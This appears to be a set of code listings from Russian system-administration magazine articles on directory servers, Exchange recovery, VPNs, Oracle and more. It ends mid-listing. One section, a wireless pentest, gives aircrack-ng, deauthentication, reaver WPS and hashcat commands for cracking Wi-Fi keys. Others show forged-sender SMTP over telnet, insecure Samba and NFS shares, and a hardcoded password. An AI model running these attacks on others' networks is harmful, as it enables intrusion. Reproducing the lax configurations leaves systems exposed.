Сервер каталогов 389 Directory Server в смешанной инфраструктуре предприятия Александр Тетюшев #yum update –y; yum upgrade –y; yum install ntp driftfile /var/lib/ntp/drift # куда раздаем время restrict 127.0.0.1 restrict ::1 restrict 192.168.1.0 mask 255.255.255.0 nomodify notrap # откуда берем время server ntp1.vniiftri.ru server ntp2.vniiftri.ru server ntp3.vniiftri.ru server 0.europe.ru.pool.ntp.org server 1.europe.ru.pool.ntp.org server 2.europe.ru.pool.ntp.org #systemctl enable ntpd #systemctl start ntpd #firewall-cmd --permanent --add-service=ntp #firewall-cmd --reload #ntpq –p 127.0.0.1 #yum install dnsmasq 192.168.1.251 server.local.ru server nameserver 127.0.0.1 #dns сервера верхнего уровня server=8.8.8.8 server=192.168.1.1 #сервис dns domain=local.ru server=/local.ru/192.168.1.251 server=/0.1.168.192.in-addr.arpa/192.168.1.251 bogus-priv #dhcp, срок аренды на 7 дней dhcp-range=192.168.1.50,192.168.1.80,255.255.255.0,7D # Указываем шлюз по умолчанию dhcp-option=3,192.168.1.1 # Указываем DNS сервер dhcp-option=6,192.168.1.251 # Указываем LDAP server и base dn dhcp-option=95,ldap://192.168.1.251/dc=local,dc=ru # Указываем сервер времени dhcp-option=option:ntp-server,192.168.1.251 # расположение файла аренды адресов, dhcp-leasefile=/var/lib/misc/dnsmasq.leases # лог файлы log-queries log-dhcp #systemctl enable dnsmasq #systemctl start dnsmasq #firewall-cmd --permanent --add-service=dhcp #firewall-cmd --permanent --add-service=dns #firewall-cmd --reload # dig local.ru net.ipv4.tcp_keepalive_time = 300 net.ipv4.ip_local_port_range = 1024 65000 fs.file-max = 64000 #sysctl –p * soft nofile 16384 * hard nofile 16384 #ulimit –n 16384 #yum install http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm -y #yum install http://rpms.famillecollet.com/enterprise/remi-release-7.rpm -y #yum install idm-console-framrwork 389-adminutil 389-adminutil-devel 389-admin 389-ds-base 389-ds-base-libs 389-ds-base-devel -y #yum localinstall http://ftp.gnome.org/mirror/fedora/epel/testing/7/x86_64/3/389-admin-console-1.1.10-1.el7.noarch.rpm http://ftp.gnome.org/mirror/fedora/epel/testing/7/x86_64/3/389-admin-console-doc-1.1.10-1.el7.noarch.rpm http://ftp.gnome.org/mirror/fedora/epel/testing/7/x86_64/3/389-ds-console-doc-1.2.12-1.el7.noarch.rpm http://ftp.gnome.org/mirror/fedora/epel/testing/7/x86_64/3/389-ds-console-1.2.12-1.el7.noarch.rpm -y #setup-ds-admin.pl #systemctl enable dirsrv.target #systemctl start dirsrv.target #systemctl enable dirsrv-admin #systemctl start dirsrv-admin #firewall-cmd --permanent --add-port=389/tcp #firewall-cmd --permanent --add-port=636/tcp #firewall-cmd --permanent --add-port=9830/tcp #firewall-cmd --reload #389-console # yum install nss-pam-ldapd # authconfig-tui FORCELEGACY=yes #yum install nfs-server nfs-utils #systemctl enable rpcbind #systemctl start rpcbind #systemctl enable nfs-server #systemctl start nfs-server #firewall-cmd --permanent --add-service=nfs #firewall-cmd --permanent --add-service=rpc-bind #firewall-cmd --reload /misc 192.168.1.0/24(rw,no_root_squash,sync) #exportfs –a # exportfs /misc /etc/autofs/auto.misc --timeout=10 home -fstype=nfs4 192.168.1.251:/misc #yum install samba [global] workgroup = WORKGROUP server string = Samba Server %v netbios name = server security = user map to guest = bad user guest account = nobody log file = /var/log/samba/log.smbd [profile] path = /misc/profile browsable =no create mask = 0700 writable = yes guest ok = yes read only = no public = yes #mkdir -p /misc/profile #testparm #systemctl enable smb #systemctl start smb #systemctl enable nmb #systemctl start nmb #firewall-cmd --permanent --add-service=samba #firewall-cmd –reload #/usr/lib64/dirsrv/slapd-ldap/db2bak #/usr/lib64/dirsrv/slapd-ldap/bak2db /var/lib/dirserver/slapd-server/bak/{ГГГГ_ММ_ДД_ЧЧ_ММ_СС} ----------------------------------------------------------------------------------------- Расширенная поддержка почтовых баз Microsoft Exchange 2013 Александр Пичкасов Листинг 1. Подготовка тестовой среды #Создание каталога для файлов виртуальных дисков mkdir c:\vhds #Задание имен файлов виртуальных дисков (те же имена используются для каталогов монтирования) $setname = 'diskAdb','diskAlogs' foreach ($filename in $setname) { $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\$filename.vhd" -sizedisk 5000000000 #Создание каталога и монтирование тома mkdir c:\$filename | Out-Null mountvol c:\$filename $newpart.AccessPaths[1] #Удаление пути доступа формата DriveLetter для корректной обработки резервного копирования mountvol $newpart.AccessPaths[0] /d } New-MailboxDatabase -Name "MailboxDB" -Server (hostname) -EdbFilePath C:\diskAdb\mailboxdb\mailboxdb.edb -LogFolderPath C:\diskAlogs\mailboxdblogs Mount-Database MailboxDB $ad0=(Get-AcceptedDomain)[0] $pass = ConvertTo-SecureString 'Pa$$w0rd' -AsPlainText –Force New-Mailbox -Name "Augusto" -LastName "Cavalli" -Database "MailboxDB" -Password $pass -ResetPasswordOnNextLogon $false -DisplayName "Augusto Cavalli" -Alias augusto -UserPrincipalName "augusto@$ad0" fsutil file createnew c:\attach5mb.bin 5000000 foreach ($i in 1..5) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "augusto@$ad0" -Subject "Test message n.$i with 5mb attachment" –Attachments c:\attach5mb.bin} #Проверка содержимого почтового ящика, при необходимости #повторить, чтобы убедиться в доставке всех сообщений .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' Листинг 2. Оффлайновый режим использования eseutil #Отключение базы для работы eseutil в оффлайновом режиме Dismount-Database MailboxDB –Confirm:$false #Получение информации о состоянии базы и журналах транзакций из заголовка файла базы eseutil /mh c:\diskAdb\mailboxdb\mailboxdb.edb | Select-String state,log,last #Получение информации журнала транзакций, префикс E01 – частный случай eseutil /ml c:\diskAlogs\mailboxdblogs\e01.log #Проверка целостности журналов транзакций eseutil /ml c:\diskAlogs\mailboxdblogs\e01 #Получение информации контрольных точек eseutil /mk c:\diskAlogs\mailboxdblogs\e01.chk #Получение информации о whitespaces eseutil /ms c:\diskAdb\mailboxdb\mailboxdb.edb Листинг 3. Оффлайновая дефрагментация базы mkdir c:\tempdb #Подключение диска для временного файла базы $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskAtempdb.vhd" -sizedisk 5000000000 #Монтирование тома mountvol c:\tempdb $newpart.AccessPaths[1] #Удаление пути доступа mountvol $newpart.AccessPaths[0] /d #Создание каталога для временного файла mkdir c:\tempdb\mailboxdb #Выполнение дефрагментации с указанием временного файла базы, без замены исходного файла eseutil /d C:\diskAdb\mailboxdb\mailboxdb.edb /t C:\tempdb\mailboxdb\mailboxdb.edb /p #Сравнение размеров файлов базы и использования свободного пространства eseutil /ms c:\diskAdb\mailboxdb\mailboxdb.edb eseutil /ms c:\tempdb\mailboxdb\mailboxdb.edb dir C:\diskAdb\mailboxdb\mailboxdb.edb, C:\tempdb\mailboxdb\mailboxdb.edb | ft fullname,length -a #Перемонтирование дисков $volA = Get-Volume -FilePath C:\diskAdb $volT = Get-Volume -FilePath C:\tempdb mountvol c:\diskAdb /d mountvol c:\tempdb /d mountvol c:\diskAdb $volT.ObjectId Mount-Database mailboxdb #Возврат предыдущего состояния Dismount-Database MailboxDB –Confirm:$false mountvol c:\diskAdb /d mountvol c:\diskAdb $volA.ObjectId Листинг 4. Онлайновый режим работы eseutil #Монтирование базы Mount-Database mailboxdb #Получение информации из заголовка подключенной почтовой базы, с применением журналов транзакций к теневой копии eseutil /mh C:\diskAdb\mailboxdb\mailboxdb.edb /vssrec e01 C:\diskAlogs\mailboxdblogs #Создание каталога для временных файлов mkdir c:\copydb #Проверка целостности базы в онлайновом режиме eseutil.exe /g C:\diskAdb\mailboxdb\mailboxdb.edb /t C:\copydb\mailboxdb.edb /f mailboxdb_report /vssrec e01 C:\diskAlogs\mailboxdblogs /vsssystempath C:\diskAlogs\mailboxdblogs #Создание копии базы с применением журналов транзакций eseutil /y C:\diskAdb\mailboxdb\mailboxdb.edb /d C:\copydb\mailboxdb.edb /vssrec E01 C:\diskAlogs\mailboxdblogs #Получение информация о копии базы eseutil /mh C:\copydb\mailboxdb.edb Листинг 5. Создание резервной копии #Создание резервной копии $wbpolicy = New-WBPolicy $wbbackuptarget = New-WBBackupTarget -VolumePath c: $wbvolume1 = Get-WBVolume -VolumePath C:\diskAdb $wbvolume2 = Get-WBVolume -VolumePath C:\diskAlogs Add-WBBackupTarget -Policy $wbpolicy -Target $wbbackuptarget Add-WBVolume -Policy $wbpolicy -Volume $wbvolume1 Add-WBVolume -Policy $wbpolicy -Volume $wbvolume2 Set-WBVssBackupOption -Policy $wbpolicy –VssFullBackup Start-WBBackup -Policy $wbpolicy #Отправка сообщений после резервного копирования foreach ($i in 6..10) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "augusto@$ad0" -Subject "Message n.$i with 5mb attachment received after backup" –Attachments c:\attach5mb.bin} #Проверка содержимого почтового ящика, при необходимости повторить, чтобы убедиться в доставке всех сообщений .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' Листинг 6. Имитация аварии диска с файлом базы #*Имитация* выхода из строя физического диска Dismount-DiskImage -ImagePath C:\vhds\diskAdb.vhd #Отправка сообщений после сбоя диска foreach ($i in 11..15) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "augusto@$ad0" -Subject "Message n.$i with 5mb attachment received after crash disk" –Attachments c:\attach5mb.bin} #Контроль состояния базы, для тестовой среды при необходимости повторить до отключения базы Get-MailboxDatabase mailboxdb -Status | ft name,mounted –a Листинг 7. Восстановление базы для первого сценария #Для исключения нежелательных попыток монтирования базы подсистемой управляемой доступности (Managed Availability) Set-MailboxDatabase mailboxdb -MountAtStartup $false #Некорректное отключение точек монтирования требует повторного создания каталогов cmd /c rmdir c:\diskAdb mkdir c:\diskAdb #Перемонтирование диска с журналами транзакций для сохранения $vol = Get-Volume -FilePath C:\diskAlogs\ mkdir c:\newdblogs mountvol C:\newdblogs $vol.ObjectId mountvol C:\diskAlogs /d ##Подключение нового диска для файла базы $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskBdb.vhd" -sizedisk 5000000000 #Монтирование тома mountvol c:\diskAdb $newpart.AccessPaths[1] #Удаление пути доступа для корректной обработки системой резервного копирования mountvol $newpart.AccessPaths[0] /d #Подключение нового диска для журналов транзакций $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskBlogs.vhd" -sizedisk 5000000000 #Монтирование тома mountvol c:\diskAlogs $newpart.AccessPaths[1] #Удаление пути доступа для корректной обработки резервного копирования mountvol $newpart.AccessPaths[0] /d ##Восстановление томов из резервной копии #Получение набора данных последней резервной копии $wbbackupset = (Get-WBBackupSet)[(Get-WBBackupSet).count-1] #Просмотр содержимого резервной копии $wbbackupset #Новому тому присвоен отличный от исходного идентификатор, поэтому восстановление в исходное местоположение невозможно, требуется указание целевого тома $targetvolume = Get-WBVolume -VolumePath C:\diskAdb Start-WBVolumeRecovery -BackupSet $wbbackupset -VolumeInBackup $wbbackupset.Volume[0] -RecoveryTargetVolume $targetvolume –Force #Так же восстанавливается том с журналами транзакций $targetvolume = Get-WBVolume -VolumePath C:\diskAlogs Start-WBVolumeRecovery -BackupSet $wbbackupset -VolumeInBackup $wbbackupset.Volume[1] -RecoveryTargetVolume $targetvolume –Force #Копирование сохраненных журналов транзакций, префикс e01 – частный случай Copy-Item C:\newdblogs\mailboxdblogs\e01*.log C:\diskAlogs\mailboxdblogs #Монтирование базы Mount-Database mailboxdb #Убедившись в монтировании базы, возвращаем опцию. Set-MailboxDatabase mailboxdb -MountAtStartup $true #Проверка содержимого почтового ящика .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' Листинг 8. Повторное создание резервной копии #Создание резервной копии $wbpolicy = New-WBPolicy $wbbackuptarget = New-WBBackupTarget -VolumePath c: $wbvolume1 = Get-WBVolume -VolumePath C:\diskAdb $wbvolume2 = Get-WBVolume -VolumePath C:\diskAlogs Add-WBBackupTarget -Policy $wbpolicy -Target $wbbackuptarget Add-WBVolume -Policy $wbpolicy -Volume $wbvolume1 Add-WBVolume -Policy $wbpolicy -Volume $wbvolume2 Set-WBVssBackupOption -Policy $wbpolicy –VssFullBackup Start-WBBackup -Policy $wbpolicy #Отправка дополнительной порции сообщений после резервного копирования foreach ($i in 16..20) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "augusto@$ad0" -Subject "Message n.$i with 5mb attachment received after second backup" –Attachments c:\attach5mb.bin} #Проверка содержимого почтового ящика, при необходимости повторить, чтобы убедиться в доставке всех сообщений .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' Листинг 9. Имитация аварии диска с журналами транзакций #*Имитация* выхода из строя физического диска Dismount-DiskImage -ImagePath C:\vhds\diskBlogs.vhd #Отправка дополнительной порции сообщений после сбоя диска foreach ($i in 21..25) {Send-MailMessage -SmtpServer localhost -From "administrator@$ad0" -To "augusto@$ad0" -Subject "Message n.$i with 5mb attachment received after crash transactions logs’s disk" –Attachments c:\attach5mb.bin} #Контроль состояния базы, в тестовой среде при необходимости повторить до отключения базы Get-MailboxDatabase mailboxdb -Status | ft name,mounted –a Листинг 10. Восстановление базы для второго сценария #Для исключения нежелательных попыток монтирования базы подсистемой управляемой доступности (Managed Availability) Set-MailboxDatabase mailboxdb -MountAtStartup $false #Некорректное отключение точек монтирования требует повторного создания каталогов cmd /c rmdir c:\diskAlogs mkdir c:\diskAlogs #Перемонтирование диска с обновленной базой для сохранения $vol = (Get-Volume -FilePath C:\diskAdb\).ObjectId mkdir c:\newdb mountvol C:\newdb $vol mountvol C:\diskAdb /d #Подключение нового диска для файла базы $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskCdb.vhd" -sizedisk 5000000000 #Монтирование тома mountvol c:\diskAdb $newpart.AccessPaths[1] #Удаление пути доступа mountvol $newpart.AccessPaths[0] /d #Подключение нового диска для журналов транзакций $newpart = Create-VolumeOnVHD -filenamevhd "C:\vhds\diskClogs.vhd" -sizedisk 5000000000 #Монтирование тома mountvol c:\diskAlogs $newpart.AccessPaths[1] #Удаление пути доступа mountvol $newpart.AccessPaths[0] /d ##Восстановление томов из резервной копии #Получение набора данных последней резервной копии $wbbackupset = (Get-WBBackupSet)[(Get-WBBackupSet).count-1] #Просмотр содержимого резервной копии $wbbackupset #Новому тому присвоен отличный от исходного идентификатор, поэтому восстановление в исходное местоположение невозможно, требуется указание целевого тома $targetvolume = Get-WBVolume -VolumePath C:\diskAdb Start-WBVolumeRecovery -BackupSet $wbbackupset -VolumeInBackup $wbbackupset.Volume[0] -RecoveryTargetVolume $targetvolume –Force #Так же восстанавливается том с журналами транзакций $targetvolume = Get-WBVolume -VolumePath C:\diskAlogs Start-WBVolumeRecovery -BackupSet $wbbackupset -VolumeInBackup $wbbackupset.Volume[1] -RecoveryTargetVolume $targetvolume –Force #Монтирование базы Mount-Database mailboxdb #Возврат опции автоматического монтирования. Set-MailboxDatabase mailboxdb -MountAtStartup $true #Создание базы восстановления с существующим файлом базы New-MailboxDatabase -Name "RecoveryDB" -Server (hostname) -EdbFilePath C:\newdb\mailboxdb\mailboxdb.edb -LogFolderPath C:\newdb\mailboxdblogs –Recovery #Исправление базы (требуется подтверждение в графическом диалоговом окне) eseutil /p c:\newdb\mailboxdb\mailboxdb.edb /t C:\vhds\tempdb.edb #Монтирование базы восстановления Mount-Database RecoveryDB #Создание запроса на восстановление данных $mbx = Get-MailboxStatistics -Database RecoveryDB | ? {$_.displayname -eq "augusto cavalli"} New-MailboxRestoreRequest -SourceDatabase RecoveryDB -SourceStoreMailbox $mbx -TargetMailbox augusto@ arctic.ocean -ConflictResolutionOption KeepLatestItem -BadItemLimit 5 #Получение информации о состоянии запроса Get-MailboxRestoreRequest #Если запрос долгое время остается в состоянии Queued, необходимо выполнить процедуру [5] #Проверка содержимого почтового ящика .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' Листинг 11. Имитация случайного удаления объекта Mailbox Database #Установка модуля PowerShell для управления AD dism /online /enable-feature:activedirectory-powershell #Получение свойств почтовой базы $mdb=Get-MailboxDatabase MailboxDB #*Имитация* случайного удаления объекта службы каталогов Remove-ADObject -Identity $mdb.DistinguishedName -Recursive -Confirm:$false Листинг 12. Восстановление базы для третьего сценария #Перезапуск службы Information Store для сброса блокировок файлов Restart-Service msex*is #Создание почтовой базы с прежним именем и произвольными параметрами New-MailboxDatabase -Name MailboxDB -EdbFilePath c:\fakepath\mailboxdb.edb -LogFolderPath c:\fakepath -Server (hostname) #Задание путей, соответствующих реальным файлам базы Move-DatabasePath mailboxdb -ConfigurationOnly -EdbFilePath C:\diskAdb\mailboxdb\mailboxdb.edb -LogFolderPath C:\diskAlogs\mailboxdblogs –Force –Confirm:$false #Задание параметра Database для почтовых ящиков Get-Mailbox | ? {$_.database -eq $null} | Set-Mailbox -Database MailboxDB –Force –Confirm:$false #Монтирование базы Mount-Database MailboxDB #Проверка доступа .\ViewPOP3Mailbox.ps1 -username augusto -password 'Pa$$w0rd' ----------------------------------------------------------------------------------------- Анализ журналов SMTP-сессий Сергей Барамба telnet msx.mail.ru 25 Test-NetConnection -port 25 mxs.mail.ru telnet IP_почтового_сервера 25 helo mail.ru mail from: test@yandex.ru rcpt to: s.baramba@example.com DATA From: test@lenta.ru To: director@another-example.com Subject: test subject test letter . ----------------------------------------------------------------------------------------- Старые сценарии на новый лад. Выполнение операций с удаленными системами Игорь Орещенков Листинг 1. Сценарий перебора сетевых узлов <<< Текст сценария main.cmd с пронумерованными строками >>> 0. @ECHO OFF 1. SET DISK=M: 2. IF NOT EXIST %DISK%\NUL GOTO CONT1 3. ECHO ================================= 4. ECHO Имеется подключенный диск %DISK%. 5. ECHO Перед выполнением сценария 6. ECHO его нужно отключить! 7. ECHO ================================= 8. GOTO :EOF 9. :CONT1 10. IF EXIST later.txt DEL list.txt & REN later.txt list.txt 11. FOR /F "EOL=; TOKENS=1,2" %%a IN (list.txt) DO CALL :DOACT %%a %%b 12. ECHO Выполнение сценария завершено. 13. GOTO :EOF 14. REM ============================================ 15. REM Выполнение действия для текущего устройства. 16. REM %1 - IP-адрес, %2 - имя устройства 17. REM ============================================ 18. :DOACT 19. ECHO Обрабатывается %2 (%1)... 20. IF EXIST %DISK%\NUL net use %DISK% /delete 21. IF ERRORLEVEL 1 GOTO ERR 22. ping -n 1 %1 > NUL 23. IF ERRORLEVEL 1 GOTO ERR 24. net use %DISK% Ошибка! Недопустимый объект гиперссылки. 25. IF ERRORLEVEL 1 GOTO ERR 26. CALL action.cmd %2 %1 27. IF ERRORLEVEL 1 GOTO ERR 28. ECHO %2 (%1) - ok. 29. IF EXIST %DISK%\NUL net use %DISK% /delete 30. GOTO :EOF 31. :ERR 32. ECHO %1 %2 >> later.txt 33. ECHO %2 (%1) - ERROR! 34. REM Сброс признака ошибки ERRORLEVEL 35. dir >nul Пример файла list.txt ; Бухгалтерия 192.168.1.21 BUCH1 192.168.1.22 BUCH2 192.168.1.21 BUCH3 ; Плановый отдел 192.168.1.31 ECON1 192.168.1.32 ECON2 192.168.1.33 ECON3 ; Отдел кадров 192.168.1.41 HR1 192.168.1.42 HR2 192.168.1.43 HR3 Файл table.txt r1c1 r1c2 r1c3 r1c4 r1c5 r1c6 r1c7 r1c8 r1c9 r2c1 r2c2 r2c3 r2c4 r2c5 r2c6 r2c7 r2c8 r2c9 r3c1 r3c2 r3c3 r3c4 r3c5 r3c6 r3c7 r3c8 r3c9 r4c1 r4c2 r4c3 r4c4 r4c5 r4c6 r4c7 r4c8 r4c9 r5c1 r5c2 r5c3 r5c4 r5c5 r5c6 r5c7 r5c8 r5c9 FOR /F %A IN (table.txt) DO @ECHO %A FOR /F "TOKENS=1,2,4-6,*" %A IN (table.txt) DO ECHO %A,%B,%C,%D,%E,%F FOR /F "EOL=# SKIP=2 DELIMS=,; TOKENS=1,2,4-6,*" %A IN (table.txt) DO ECHO %A,%B,%C,%D,%E,%F Измененный файл table.txt r1c1,r1c2,r1c3;r1c4,r1c5,r1c6;r1c7,r1c8,r1c9 r2c1,r2c2,r2c3;r2c4,r2c5,r2c6;r2c7,r2c8,r2c9 r3c1,r3c2,r3c3;r3c4,r3c5,r3c6;r3c7,r3c8,r3c9 r4c1,r4c2,r4c3;r4c4,r4c5,r4c6;r4c7,r4c8,r4c9 r5c1,r5c2,r5c3;r5c4,r5c5,r5c6;r5c7,r5c8,r5c9 Листинг 2. Пример сценария поэлементной обработки текстового файла @ECHO OFF FOR /F "DELIMS=; TOKENS=1-3" %%A IN (table.txt) DO CALL :LOOP "%%A" "%%B" "%%C" & ECHO - - - - PAUSE GOTO :EOF :LOOP FOR /F "DELIMS=, TOKENS=1-3" %%A IN (%1) DO ECHO 1: [%%A] [%%B] [%%C] FOR /F "DELIMS=, TOKENS=1-3" %%A IN (%2) DO ECHO 2: [%%A] [%%B] [%%C] FOR /F "DELIMS=, TOKENS=1-3" %%A IN (%3) DO ECHO 3: [%%A] [%%B] [%%C] GOTO :EOF ... SET EL1=%ErrorLevel% ... IF %EL1 == 1 GOTO Error1 ... Листинг 3. Вспомогательный сценарий action.cmd MKDIR WINCOMP\%1 COPY %DISK%\WINDOWS\SYSTEM32\autoexec.nt WINCOMP\%1 COPY %DISK%\WINDOWS\SYSTEM32\config.nt WINCOMP\%1 ----------------------------------------------------------------------------------------- Построение корпоративных VPN. Часть 11. Linux-Linux, Linux-FreeBSD и Linux-Mikrotik через strongSwan Рашид Ачилов conn any-deltahwCA-rsa auto=route left=212.20.5.1 leftid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Linux servers/CN=ipsec.deltahw.ru/emailAddress=root@deltahw.ru" leftauth=pubkey leftcert=ipsec_deltahw.crt leftsubnet=10.54.1.0/24 leftca="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Certificate Authority/CN=DeltaHardware Ltd Root CA/emailAddress=certmgr@deltahw.ru" right=%any rightallowany=yes rightid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Routers/CN=rb450g.deltahw.ru/emailAddress=root@deltahw.ru" rightcert=rb450g_deltahw.crt rightsubnet=10.87.1.0/24 rightauth=pubkey rightca="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Certificate Authority/CN=DeltaHardware Ltd Root CA/emailAddress=certmgr@deltahw.ru" keyexchange=ikev1 ike=aes128-sha-modp1024,aes192-sha-modp1024,aes256-sha-modp1024! esp=aes128-sha-modp1024,aes192-sha-modp1024,aes256-sha-modp1024 # openssl x509 -in ipsec_deltahw.crt -noout -subject conn vmfree-rsa auto=route left=212.20.5.1 leftid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Linux servers/CN=ipsec.deltahw.ru/emailAddress=root@deltahw.ru" leftauth=pubkey leftcert=ipsec_deltahw.crt leftsubnet=10.54.1.0/24 right=140.40.40.1 rightid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHwardware Ltd/OU=Web and mail and DNS server/CN=node3.deltahw.ru/emailAddress=root@deltahw.ru" rightcert=node3_deltahw.crt rightsubnet=10.14.1.0/24 rightauth=pubkey keyexchange=ikev1 conn logsrv-rsa auto=start right=212.20.5.1 rightid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Linux servers/CN=ipsec.deltahw.ru/emailAddress=root@deltahw.ru" rightauth=pubkey rightcert=ipsec_deltahw.crt rightsubnet=10.54.1.0/24 left=140.40.40.1 leftid="/C=RU/ST=Novosibirsk region/L=Novosibirsk/O=DeltaHardware Ltd/OU=Web and mail and DNS server/CN=node3.deltahw.ru/emailAddress=root@deltahw.ru" leftcert=node3_deltahw.crt leftsubnet=10.14.1.0/24 leftauth=pubkey keyexchange=ikev1 strongswan_enable="YES" # ipsec --help # ipsec statusall # setkey -D ifconfig_enc0="up" # tcpdump -i enc0 -n [admin@MikroTik] > /certificate import file-name rb450g_deltahw.crt [admin@MikroTik] /certificate> print [admin@MikroTik] > /ip ipsec proposal add name="proposal1" auth-algorithms=sha1enc-algorithms=aes-128-cbc,aes-192-cbc,aes-256-cbc lifetime=30m pfs-group=modp1024 /ip ipsec proposal add name=proposal1 [admin@MikroTik] > /ip ipsec policy add src-address=10.87.1.0/24 src-port=any dst-address=10.54.1.0/24 dst-port=any protocol=all action=encrypt level=unique ipsec-protocols=esp tunnel=yes sa-src-address=170.70.70.1 sa-dst-address=212.20.5.1 proposal=proposal1 /ip ipsec peer add address=212.20.5.1/32 passive=no port=500 auth-method=rsa-signature certificate=RB450G cert with key remote-certificate=IPSec Deltahw generate-policy=no exchange-mode=main send-initial-contact=yes nat-traversal=yes proposal-check=strict hash-algorithm=sha1 enc-algorithm=aes-128,aes-192,aes-256 dh-group=modp1024 lifetime=1d dpd-interval=disable-dpd ---------------------------------------------------------------------- Проводим пентест. Часть 1. Проникаем в беспроводную сеть Андрей Бирюков # airmon-ng # airmon-ng start wlan1 # ifconfig wlan1mon down # iwconfig wlan1mon mode monitor # ifconfig wlan1mon up # airodump-ng wlan1mon # airodump-ng -c [номер_канала] -bssid [bssid] -w /root/Desktop/ wlan1mon # airodump-ng -c 11 --bssid 01:01:01:01:01:01 -w /root/Desktop/ wlan1mon # aireplay-ng -0 2 -a [router bssid] -c [client bssid] wlan1mon # aireplay-ng -0 2 -a 01:01:01:01:01:01 -c 02:02:02:02:02:02 wlan1mon # aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap # reaver -i wlan1mon -b [BSSID] # reaver -i wlan1mon -b [BSSID] –d 0 # reaver -i wlan1mon -b 01:01:01:01:01:01 --dh-small # wpaclean # wpaclean /root/Desktop/ wlan1mon_out.cap /root/Desktop/wlan1mon.cap # aircrack-ng -J # aircrack-ng /root/Desktop/ wlan1mon_out.cap -J /root/Desktop/ wlan1mon_out.hccap # hashcat -m 2500 -a 3 файл.hccap # hashcat -m 2500 -a 3 /root/Desktop/ wlan1mon_out.hccap # airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface) # airodump-ng -w wep -c 1 -- bssid 01:01:01:01:01:01 wlan0 # aireplay-ng -1 0 -a (bssid) -h 01:01:01:01:01:01 -e (essid) (interface) # aireplay-ng -3 -b (bssid) -h 01:01:01:01:01:01 (interface) # aircrack-ng -b (bssid) (file name-01.cap) # aircrack-ng -b (bssid) (wlan0mon.cap) ----------------------------------------------------------------------- Использование Web Application Proxy в Windows Server 2012 R2/2016 Сергей Яремчук PS> Install-WindowsFeature ADFS-Federation –IncludeManagementTools PS> Add-KdsRootKey -EffectiveTime (Get-Date).AddHours(-10) PS> Install-AdfsFarm -CertificateThumbprint 'abcd...890' -FederationServiceName ad.example.org -GroupServiceAccountIdentifier EXAMPLE\adfs$ PS> Get-Command –Module ADFS PS> Install-WindowsFeature Web-Application-Proxy -IncludeManagementTools PS> Install-WebApplicationProxy -CertificateThumprint '098...cab' -FederationServiceName ad.example.org PS> Get-Command –Module WebApplicationProxy PS> Add-WebApplicationProxyApplication -BackendServerURL 'https://srv.example.org:8080/' -ExternalCertificateThumbprint '098...cab' -ExternalURL 'https://service.org/' -Name 'Service' -ExternalPreAuthentication ADFS ----------------------------------------------------------------------- Распараллеливание операций в Oracle. Часть 1 Владимир Тихомиров; Валерий Михеичев Select name, value, description from v$parameter where name like ‘%parallel%’ order by 1; Select a.ksppinm,b.ksppstvl,a.ksppdesc from x$ksppi a,x$ksppcv b,x$ksppsv c where a.indx = b.indx and a.indx = c.indx and upper(a.ksppinm) like upper('_parall%') order by 1; /*+ opt_param(‘parallel_degree_limit’ 'CPU') */ Select name, isdefault, value from v$ses_optimizer_env s where sid = sys_context('USERENV', 'SID') and name like 'parallel%' order by 1; ALTER SESSION ENABLE PARALLEL DML ALTER SESSION FORCE PARALLEL DML Select value*(select value from v$parameter where name='parallel_threads_per_cpu')+1 from v$parameter where name='cpu_count' ALTER SESSION ENABLE PARALLEL DML; Insert /*+ parallel(32) */ into buh_t select * from buh_a; commit; … Delete /*+ parallel(32) */ …; commit; Select value from v$parameter where name='cpu_count' ALTER SESSION FORCE PARALLEL DML; Insert into buh_t select * from buh_a; commit; … Delete buh_t where …; commit; ALTER SESSION ENABLE PARALLEL DML; ALTER SESSION FORCE PARALLEL DML; Insert /*+ parallel(32) */ … ; commit; Update /*+ parallel(32) */ … ; commit; Delete /*+ parallel(32) */ … ; commit; Merge /*+ parallel(32) */ … ; commit; ALTER SESSION SET PARALLEL_DEGREE_POLICY=AUTO; ALTER SESSION ENABLE PARALLEL DML; ALTER SESSION FORCE PARALLEL DML; ALTER SESSION SET PARALLEL_DEGREE_POLICY=AUTO; ALTER SESSION ENABLE PARALLEL DML; Insert /*+ parallel(200) */ …; Select tablespace_name, round(free_space/1024/1024) free_mb from dba_temp_free_space; ALTER SESSION DISABLE PARALLEL DML; insert /*+ opt_param ('parallel_execution_enabled' 'false') */ into… Select count(*) from v$px_session; Select value+1 from v$px_process_sysstat where statistic like 'Servers In Use%'; Select sql_id, (select v.sql_text from v$sql v where v.sql_id=s.sql_id and rownum=1) sql_text, p.* ,s.* from v$process p,v$session s where s.paddr=p.addr and pname like 'P%' order by s.sid; Select e.* , (select sql_text from v$sql v where v.sql_id=e.sql_id and rownum=1) sql_text from v$sql_optimizer_env e where e.sql_id='66n9v45wqrd9c' and name='parallel_dml_mode' and value<>'disabled'; ----------------------------------------------------------------------- Настройка SQL Server для производительной работы 1С Тимур Шамиладзе Листинг 1. Запрос, перемещающий базу TempDB на другой диск use master go alter database tempdb modify file (NAME = 